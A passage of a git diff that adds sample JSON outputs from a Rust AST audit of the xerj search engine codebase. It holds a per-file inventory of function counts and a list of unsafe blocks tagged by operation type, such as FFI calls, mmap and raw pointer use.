+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/painless.rs",
+ "crate": "xerj-engine",
+ "bytes": 74755,
+ "lines": 2010,
+ "ast_functions": 83,
+ "emitted_functions": 83,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/rbac.rs",
+ "crate": "xerj-engine",
+ "bytes": 6222,
+ "lines": 205,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/segment_cache_budget.rs",
+ "crate": "xerj-engine",
+ "bytes": 13490,
+ "lines": 404,
+ "ast_functions": 20,
+ "emitted_functions": 20,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/segment_cache_estimates.rs",
+ "crate": "xerj-engine",
+ "bytes": 9086,
+ "lines": 239,
+ "ast_functions": 14,
+ "emitted_functions": 14,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/slow_query.rs",
+ "crate": "xerj-engine",
+ "bytes": 9674,
+ "lines": 259,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/sql.rs",
+ "crate": "xerj-engine",
+ "bytes": 22557,
+ "lines": 725,
+ "ast_functions": 12,
+ "emitted_functions": 12,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/turbo_ingest.rs",
+ "crate": "xerj-engine",
+ "bytes": 25235,
+ "lines": 665,
+ "ast_functions": 27,
+ "emitted_functions": 27,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/write_publication.rs",
+ "crate": "xerj-engine",
+ "bytes": 10717,
+ "lines": 322,
+ "ast_functions": 18,
+ "emitted_functions": 18,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/battle_test.rs",
+ "crate": "xerj-engine",
+ "bytes": 59651,
+ "lines": 1734,
+ "ast_functions": 19,
+ "emitted_functions": 19,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/chaos_tests.rs",
+ "crate": "xerj-engine",
+ "bytes": 51251,
+ "lines": 1495,
+ "ast_functions": 26,
+ "emitted_functions": 26,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/es_compat_tests.rs",
+ "crate": "xerj-engine",
+ "bytes": 91021,
+ "lines": 2443,
+ "ast_functions": 67,
+ "emitted_functions": 67,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/integration.rs",
+ "crate": "xerj-engine",
+ "bytes": 208156,
+ "lines": 6238,
+ "ast_functions": 111,
+ "emitted_functions": 111,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/multi_match_scoring.rs",
+ "crate": "xerj-engine",
+ "bytes": 5480,
+ "lines": 163,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/node_lock.rs",
+ "crate": "xerj-engine",
+ "bytes": 1930,
+ "lines": 51,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/perf_benchmark.rs",
+ "crate": "xerj-engine",
+ "bytes": 25431,
+ "lines": 675,
+ "ast_functions": 14,
+ "emitted_functions": 14,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/product_experience.rs",
+ "crate": "xerj-engine",
+ "bytes": 36780,
+ "lines": 1032,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/rc4_w2_storage_hardening.rs",
+ "crate": "xerj-engine",
+ "bytes": 6394,
+ "lines": 173,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/search_context_ttl.rs",
+ "crate": "xerj-engine",
+ "bytes": 3288,
+ "lines": 90,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/tests/shard_router_write_path.rs",
+ "crate": "xerj-engine",
+ "bytes": 4080,
+ "lines": 105,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/analyzer.rs",
+ "crate": "xerj-fts",
+ "bytes": 65798,
+ "lines": 2001,
+ "ast_functions": 59,
+ "emitted_functions": 59,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/bm25.rs",
+ "crate": "xerj-fts",
+ "bytes": 10559,
+ "lines": 314,
+ "ast_functions": 18,
+ "emitted_functions": 18,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/index.rs",
+ "crate": "xerj-fts",
+ "bytes": 61950,
+ "lines": 1492,
+ "ast_functions": 31,
+ "emitted_functions": 31,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/lib.rs",
+ "crate": "xerj-fts",
+ "bytes": 3564,
+ "lines": 84,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/postings.rs",
+ "crate": "xerj-fts",
+ "bytes": 32001,
+ "lines": 828,
+ "ast_functions": 31,
+ "emitted_functions": 31,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-fts/src/search.rs",
+ "crate": "xerj-fts",
+ "bytes": 76797,
+ "lines": 1982,
+ "ast_functions": 73,
+ "emitted_functions": 73,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-logs/src/columnar.rs",
+ "crate": "xerj-logs",
+ "bytes": 22674,
+ "lines": 616,
+ "ast_functions": 28,
+ "emitted_functions": 28,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-logs/src/ingest.rs",
+ "crate": "xerj-logs",
+ "bytes": 14930,
+ "lines": 424,
+ "ast_functions": 25,
+ "emitted_functions": 25,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-logs/src/lib.rs",
+ "crate": "xerj-logs",
+ "bytes": 698,
+ "lines": 22,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-logs/src/query.rs",
+ "crate": "xerj-logs",
+ "bytes": 17251,
+ "lines": 475,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-logs/src/retention.rs",
+ "crate": "xerj-logs",
+ "bytes": 7193,
+ "lines": 205,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-mcp/src/main.rs",
+ "crate": "xerj-mcp",
+ "bytes": 29508,
+ "lines": 721,
+ "ast_functions": 29,
+ "emitted_functions": 29,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/ast.rs",
+ "crate": "xerj-query",
+ "bytes": 44151,
+ "lines": 1120,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/dates.rs",
+ "crate": "xerj-query",
+ "bytes": 39090,
+ "lines": 1012,
+ "ast_functions": 41,
+ "emitted_functions": 41,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/error.rs",
+ "crate": "xerj-query",
+ "bytes": 2409,
+ "lines": 71,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/executor.rs",
+ "crate": "xerj-query",
+ "bytes": 19377,
+ "lines": 505,
+ "ast_functions": 23,
+ "emitted_functions": 23,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/lib.rs",
+ "crate": "xerj-query",
+ "bytes": 3922,
+ "lines": 113,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/parser.rs",
+ "crate": "xerj-query",
+ "bytes": 187082,
+ "lines": 5230,
+ "ast_functions": 171,
+ "emitted_functions": 171,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/planner.rs",
+ "crate": "xerj-query",
+ "bytes": 29029,
+ "lines": 825,
+ "ast_functions": 14,
+ "emitted_functions": 14,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/rewriter.rs",
+ "crate": "xerj-query",
+ "bytes": 21186,
+ "lines": 606,
+ "ast_functions": 22,
+ "emitted_functions": 22,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-query/src/sort.rs",
+ "crate": "xerj-query",
+ "bytes": 13645,
+ "lines": 357,
+ "ast_functions": 14,
+ "emitted_functions": 14,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/build.rs",
+ "crate": "xerj-server",
+ "bytes": 1293,
+ "lines": 34,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/src/debug_profiling.rs",
+ "crate": "xerj-server",
+ "bytes": 13656,
+ "lines": 388,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/src/grpc.rs",
+ "crate": "xerj-server",
+ "bytes": 21030,
+ "lines": 588,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/src/ingest_memory_trace.rs",
+ "crate": "xerj-server",
+ "bytes": 12644,
+ "lines": 404,
+ "ast_functions": 21,
+ "emitted_functions": 21,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/src/main.rs",
+ "crate": "xerj-server",
+ "bytes": 81705,
+ "lines": 1781,
+ "ast_functions": 25,
+ "emitted_functions": 25,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-server/tests/pdf_worker.rs",
+ "crate": "xerj-server",
+ "bytes": 8919,
+ "lines": 240,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/examples/stored_projection_probe.rs",
+ "crate": "xerj-storage",
+ "bytes": 6658,
+ "lines": 191,
+ "ast_functions": 9,
+ "emitted_functions": 9,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/backend.rs",
+ "crate": "xerj-storage",
+ "bytes": 21255,
+ "lines": 599,
+ "ast_functions": 32,
+ "emitted_functions": 32,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/cache.rs",
+ "crate": "xerj-storage",
+ "bytes": 11825,
+ "lines": 312,
+ "ast_functions": 11,
+ "emitted_functions": 11,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/doc_values.rs",
+ "crate": "xerj-storage",
+ "bytes": 34649,
+ "lines": 866,
+ "ast_functions": 29,
+ "emitted_functions": 29,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/index_store.rs",
+ "crate": "xerj-storage",
+ "bytes": 198858,
+ "lines": 4416,
+ "ast_functions": 97,
+ "emitted_functions": 97,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/lib.rs",
+ "crate": "xerj-storage",
+ "bytes": 5423,
+ "lines": 130,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/merge.rs",
+ "crate": "xerj-storage",
+ "bytes": 22159,
+ "lines": 580,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/segment.rs",
+ "crate": "xerj-storage",
+ "bytes": 33481,
+ "lines": 819,
+ "ast_functions": 24,
+ "emitted_functions": 24,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/stored_codec.rs",
+ "crate": "xerj-storage",
+ "bytes": 146427,
+ "lines": 3679,
+ "ast_functions": 92,
+ "emitted_functions": 92,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/stored_codec/row_hydration.rs",
+ "crate": "xerj-storage",
+ "bytes": 50250,
+ "lines": 1345,
+ "ast_functions": 27,
+ "emitted_functions": 27,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/version_map.rs",
+ "crate": "xerj-storage",
+ "bytes": 29393,
+ "lines": 736,
+ "ast_functions": 32,
+ "emitted_functions": 32,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-storage/src/wal.rs",
+ "crate": "xerj-storage",
+ "bytes": 92964,
+ "lines": 2319,
+ "ast_functions": 62,
+ "emitted_functions": 62,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/examples/recall_probe.rs",
+ "crate": "xerj-vector",
+ "bytes": 5154,
+ "lines": 125,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/examples/storage_view_search_bench.rs",
+ "crate": "xerj-vector",
+ "bytes": 3413,
+ "lines": 103,
+ "ast_functions": 6,
+ "emitted_functions": 6,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/src/distance.rs",
+ "crate": "xerj-vector",
+ "bytes": 6100,
+ "lines": 186,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/src/hnsw.rs",
+ "crate": "xerj-vector",
+ "bytes": 74277,
+ "lines": 1989,
+ "ast_functions": 98,
+ "emitted_functions": 98,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/src/lib.rs",
+ "crate": "xerj-vector",
+ "bytes": 744,
+ "lines": 24,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/src/quantizer.rs",
+ "crate": "xerj-vector",
+ "bytes": 30151,
+ "lines": 836,
+ "ast_functions": 34,
+ "emitted_functions": 34,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-vector/src/search.rs",
+ "crate": "xerj-vector",
+ "bytes": 7638,
+ "lines": 236,
+ "ast_functions": 19,
+ "emitted_functions": 19,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-wasm/examples/example_custom_plugin.rs",
+ "crate": "xerj-wasm",
+ "bytes": 2496,
+ "lines": 80,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-wasm/src/builtins.rs",
+ "crate": "xerj-wasm",
+ "bytes": 44795,
+ "lines": 1197,
+ "ast_functions": 77,
+ "emitted_functions": 77,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-wasm/src/lib.rs",
+ "crate": "xerj-wasm",
+ "bytes": 2583,
+ "lines": 66,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-wasm/src/pipeline.rs",
+ "crate": "xerj-wasm",
+ "bytes": 15828,
+ "lines": 443,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-wasm/tests/integration.rs",
+ "crate": "xerj-wasm",
+ "bytes": 16410,
+ "lines": 434,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "tests/es-compat-yaml/src/main.rs",
+ "crate": "tests",
+ "bytes": 64411,
+ "lines": 1661,
+ "ast_functions": 20,
+ "emitted_functions": 20,
+ "error_nodes": 0
+ }
+ ]
+}
\ No newline at end of file
diff --git a/docs/examples/rust-ast-audit/sample-unsafe-inventory.json b/docs/examples/rust-ast-audit/sample-unsafe-inventory.json
new file mode 100644
index 000000000..d0a1c6f9d
--- /dev/null
+++ b/docs/examples/rust-ast-audit/sample-unsafe-inventory.json
@@ -0,0 +1,253 @@
+{
+ "unsafe_blocks": [
+ {
+ "file": "crates/xerj-ai/src/neural.rs",
+ "fn": "load",
+ "line": 105,
+ "ops": [],
+ "is_unsafe_fn": false,
+ "crate": "xerj-ai"
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "fn": "read_disk_stats",
+ "line": 21687,
+ "ops": [
+ "ffi_call",
+ "uninit"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-api"
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "fn": "read_disk_stats",
+ "line": 21688,
+ "ops": [
+ "ffi_call",
+ "uninit"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-api"
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "fn": "remove_dotted_path",
+ "line": 25020,
+ "ops": [
+ "ptr_reborrow"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-api"
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "fn": "remove_dotted_path",
+ "line": 25029,
+ "ops": [
+ "ptr_reborrow"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-api"
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "fn": "remove_dotted_path",
+ "line": 25033,
+ "ops": [
+ "ptr_reborrow"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-api"
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/pdf.rs",
+ "fn": "set_worker_memory_limit",
+ "line": 242,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-autoindex"
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/pdf.rs",
+ "fn": "terminate_worker_tree",
+ "line": 264,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-autoindex"
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/pdf.rs",
+ "fn": "terminate_worker_descendants",
+ "line": 273,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-autoindex"
+ },
+ {
+ "file": "crates/xerj-engine/src/governor.rs",
+ "fn": "page_size_bytes",
+ "line": 586,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/governor.rs",
+ "fn": "disk_stats",
+ "line": 699,
+ "ops": [
+ "ffi_call",
+ "uninit"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/governor.rs",
+ "fn": "disk_stats",
+ "line": 700,
+ "ops": [
+ "ffi_call",
+ "uninit"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/lib.rs",
+ "fn": "ingest_pool",
+ "line": 119,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/lib.rs",
+ "fn": "background_pool",
+ "line": 150,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/lib.rs",
+ "fn": "merge_pool",
+ "line": 190,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/src/turbo_ingest.rs",
+ "fn": "tokenize_fast",
+ "line": 199,
+ "ops": [
+ "utf8_unchecked"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/tests/perf_benchmark.rs",
+ "fn": "page_size_bytes",
+ "line": 513,
+ "ops": [],
+ "is_unsafe_fn": false,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-fts/src/index.rs",
+ "fn": "mmap_file",
+ "line": 1148,
+ "ops": [
+ "mmap"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-fts"
+ },
+ {
+ "file": "crates/xerj-server/src/ingest_memory_trace.rs",
+ "fn": "process_cpu_time_ns",
+ "line": 181,
+ "ops": [
+ "ffi_call"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-server"
+ },
+ {
+ "file": "crates/xerj-server/src/main.rs",
+ "fn": "run_cli_index",
+ "line": 979,
+ "ops": [
+ "from_raw",
+ "mmap",
+ "slice_raw_parts"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-server"
+ },
+ {
+ "file": "crates/xerj-server/src/main.rs",
+ "fn": "run_cli_index",
+ "line": 988,
+ "ops": [
+ "from_raw",
+ "mmap",
+ "slice_raw_parts"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-server"
+ },
+ {
+ "file": "crates/xerj-storage/src/segment.rs",
+ "fn": "open",
+ "line": 553,
+ "ops": [
+ "mmap"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-storage"
+ },
+ {
+ "file": "crates/xerj-vector/src/hnsw.rs",
+ "fn": "prefetch_vector",
+ "line": 264,
+ "ops": [
+ "ptr_arith",
+ "raw_deref"
+ ],
+ "is_unsafe_fn": false,
+ "crate": "xerj-vector"
+ }
+ ],
+ "unsafe_fns": [
+ {
+ "file": "crates/xerj-engine/examples/alloc_count.rs",
+ "fn": "alloc",
+ "line": 24,
+ "crate": "xerj-engine"
+ },
+ {
+ "file": "crates/xerj-engine/examples/alloc_count.rs",
+ "fn": "dealloc",
+ "line": 29,
+ "crate": "xerj-engine"
+ }
+ ]
+}
\ No newline at end of file